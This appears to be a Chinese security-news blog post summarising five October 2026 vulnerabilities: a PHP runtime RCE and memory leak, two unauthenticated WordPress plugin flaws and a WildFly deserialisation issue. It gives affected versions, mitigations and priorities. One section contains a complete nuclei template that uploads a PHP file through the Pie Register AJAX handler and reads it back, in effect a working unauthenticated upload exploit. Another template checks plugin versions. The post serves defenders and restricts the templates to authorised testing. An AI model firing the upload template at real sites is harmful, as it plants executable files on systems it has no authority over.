10 月最后一周：PHP2Shell 进 KEV，五个未授权入口

原创

niuko
niuko

Ncko

2026年10月30日 10:42
安徽

去阅读

题图 / 五条都在“不用登录”附近

时间窗：10 月 19 日到 10 月 29 日。只看五类：反序列化、未授权、认证绕过、文件上传绕过、信息泄露。

本周最重的一条是 PHP2Shell。它不是应用漏洞，是 PHP 运行时本身的问题，所以单独拆成两条写：一条讲 RCE，一条讲内存泄露。

PART 01

CVE-2026-109618 · PHP2Shell：一条 POST 打穿请求初始化

PHP 在初始化请求时内存触顶，清理例程把只建了一半的结构当成合法数据，后续解引用就被污染。mod\_php 下这发生在应用代码之前，所以插件、CMS 补丁都挡不住。

— 影响：8.2.x 至 <8.2.35、8.3.x 至 <8.3.36、8.4.x 至 <8.4.27、8.5.x 至 <8.5.12；7.4 / 8.0 / 8.1 无官方补丁

— 条件：未认证；实验室触发是一条带约 3.5MB 超长字段名的 POST；要绕过 ASLR

— 痕迹：Unknown on line 0 的内存耗尽、Apache 的 AH00052

— 处置：升级到 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35；临时可设 memory\_limit=-1 并在代理层限制请求体

10 月 24 日蜜罐确认可用 RCE，10 月 26 日进 CISA KEV。Censys 统计仍有 3251 万个服务在受影响版本上。

这一类是内存破坏，nuclei 发包只能碰运气、还会打崩 worker。不给模板，用版本与 SAPI 盘点代替。

PART 02

CVE-2026-109619 · 同一个 worker 的下一个请求

请求 N 触发致命错误后，全局状态仍指向已释放的内存；同一 worker 接下个请求，就踩到 use-after-free。先泄露 cookie、令牌、凭据，再拿地址过 ASLR。

— 条件：session.upload\_progress.enabled=On（默认开）；两个请求落在同一 worker；PHP 8.5 另有 fatal\_error\_backtraces 路径

— 影响：跨会话、跨租户的内存泄露，以及 RCE

— 处置：关掉 session.upload\_progress.enabled；8.5 再加 fatal\_error\_backtraces=0；FPM 可设 pm.max\_requests=1

蜜罐上的第一条证据是 800 KiB 的 cookie dump，随后载荷里出现了由公开偏移算出的函数地址。泄露本身就是独立影响，不只是 RCE 的前置。

需要“同一 worker + 大请求 + 多轮重试”，nuclei 不适合做验证，同样不给模板。

PART 03

CVE-2026-84999 · Pie Register Premium 未授权文件上传

插件先调 wp\_check\_filetype 和 wp\_check\_filetype\_and\_ext，却不检查返回的错误，直接 move\_uploaded\_file()；AJAX handler 也没有 nonce 和权限检查。响应还会回传落地文件名。

— 影响：Pie Register Premium ≤ 3.8.4.0，修复版 3.8.4.1

— 条件：未认证，一个 multipart 请求；上传目录可执行即可 RCE

— 公开：10 月 27 日，CVSS 9.8

完整模板放在 nuclei/CVE-2026-84999.yaml，核心是先传一个带随机标记的 PHP，再回读验证：

id: CVE-2026-84999
info:
  name: Pie Register Premium <= 3.8.4.0 未授权任意文件上传
  author: security-notes
  severity: critical
  description: 未检查 wp\_check\_filetype 返回值即 move\_uploaded\_file，AJAX 无 nonce/权限校验
  classification:
    cvss-score: 9.8
    cve-id: CVE-2026-84999
    cwe-id: CWE-434
  tags: cve,cve2026,wordpress,file-upload,intrusive
variables:
  marker: \"{{rand\_text\_alphanumeric(8)}}\"
http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----nuclei

------nuclei
        Content-Disposition: form-data; name=\"action\"

piereg\_file\_upload
        ------nuclei
        Content-Disposition: form-data; name=\"file\"; filename=\"{{marker}}.php\"
        Content-Type: application/x-php

<?php echo 'NUCLEI\{{marker}}'; ?>
        ------nuclei--
    extractors:
      - type: regex
        name: uploaded
        part: body
        internal: true
        regex:
          - '(?i)(/wp-content/uploads/[^\"''\s]+\.php)'
  - raw:
      - |
        GET {{uploaded}} HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: word
        part: body
        words: [\"NUCLEI\\"]}

字段名 file 与 action 以目标版本实测为准；只在授权环境跑，建议加 --rate-limit 1。

PART 04

CVE-2026-110956 · asVereinbase 空口令登录

插件在认证前不校验有效口令和二次因子，把“空存储值”当成匹配。结果是不用账号密码，就能登录任意用户，包括管理员。

— 影响：asVereinbase < 1.1.8

— 条件：未认证；走插件自己的登录 / 2FA 校验流程

— 公开：10 月 22 日，CVSS 9.8；PoC 延至 11 月 22 日公布

PoC 未公开，先给版本探测模板，命中后再人工确认登录流程：

id: CVE-2026-110956
info:
  name: asVereinbase < 1.1.8 认证绕过（版本探测）
  author: security-notes
  severity: critical
  description: 不校验有效口令与二次因子，空值被当作匹配，可登录任意用户
  classification:
    cvss-score: 9.8
    cve-id: CVE-2026-110956
    cwe-id: CWE-287
  tags: cve,cve2026,wordpress,auth-bypass
http:
  - method: GET
    path:
      - \"{{BaseURL}}/wp-content/plugins/asvereinbase/readme.txt\"
    matchers-condition: and
    matchers:
      - type: status
        status: [200]
      - type: regex
        part: body
        regex:
          - '(?m)^Stable tag:\s\(?:1\.0(?:\.\d+)?|1\.1\.[0-7])\s\$'

PART 05

CVE-2026-15564 · WildFly IIOP 认证前反序列化

WildFly 的 IIOP 监听器在认证之前就反序列化输入流。攻击者能连上 IIOP 端口，且目标 EJB 接受无类型参数、classpath 里又有可用 gadget 时，才谈得上利用。

— 影响：WildFly / JBoss EAP 相关版本，Red Hat 已发 RHSA

— 条件：可达 IIOP 端口；EJB 方法签名宽松；存在 gadget 链

— 公开：10 月 29 日，CVSS 7.4

— 处置：关掉或限制 IIOP 端口，升级到修复版本，别把 IIOP 暴露在公网

IIOP 不是 HTTP，nuclei 没有对应的协议栈；这条没有模板。验证只能在授权环境里用 Java 侧工具做。

EOF

本周怎么排优先级

1. 先 PHP2Shell：不用登录、不用应用漏洞，已经进 KEV。升级，或至少按第 01、02 条做临时缓解。

2. 再 WordPress 插件：Pie Register 的上传和 asVereinbase 的登录绕过都是 9.8，且都不需要账号。先禁用/升级插件，再查上传目录。

3. 最后 WildFly：暴露在公网的 IIOP 端口先关掉，内部再做版本核对。

模板只管验证，不管利用链。所有请求请只对自有资产或书面授权的目标发送。

参考来源：php.net 公告 2026-10-21-5；GHSA-w8hw-w9fx-j79w / GHSA-6wmf-4rv5-p3rp；WPScan；Wordfence Threat Intel；NVD；CISA KEV；Red Hat RHSA；Censys；Datadog Security Labs。

漏洞编号、影响范围与修复版本，请以厂商公告为准；本文模板仅用于授权测试。